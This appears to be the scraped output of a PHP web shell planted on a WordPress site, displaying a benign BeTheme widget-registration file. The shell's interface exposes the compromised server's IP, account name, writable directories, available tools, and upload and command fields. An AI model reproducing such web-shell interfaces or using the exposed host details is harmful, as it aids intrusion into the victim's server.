403Webshell
Server IP : 145.239.37.162  /  Your IP : 216.73.217.71
Web Server : Apache
System : Linux webm003.cluster130.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
User : verseaa ( 38250)
PHP Version : 7.4.33
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/v/e/r/verseaa/www_old/wp-content/themes/betheme/functions/widgets/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/v/e/r/verseaa/www_old/wp-content/themes/betheme/functions/widgets/class-mfn-widgets.php
<?php
if (! defined('ABSPATH')) {
	exit; // Exit if accessed directly
}

if (! class_exists('Mfn_Widgets')) {
  class Mfn_Widgets
  {
		private $widgets = array(
			'comments',
			'flickr',
			'login',
			'menu',
			'posts',
			'tags',
		);

  	/**
  	 * Mfn_Widgets constructor
  	 */

  	public function __construct()
  	{
  		// fires after all default WordPress widgets have been registered.
  		add_action('widgets_init', array($this, 'register'));
  	}

  	/**
  	 * Register new widgets
  	 */

  	public function register()
  	{
			foreach ( $this->widgets as $widget ){

				$widget_class = 'Mfn_Widget_'. ucfirst($widget);

				require_once(get_theme_file_path('/functions/widgets/class-mfn-widget-'. $widget .'.php'));
				register_widget($widget_class);

			}
  	}

  }
}

new Mfn_Widgets();

Youez - 2016 - github.com/yon3zu
LinuXploit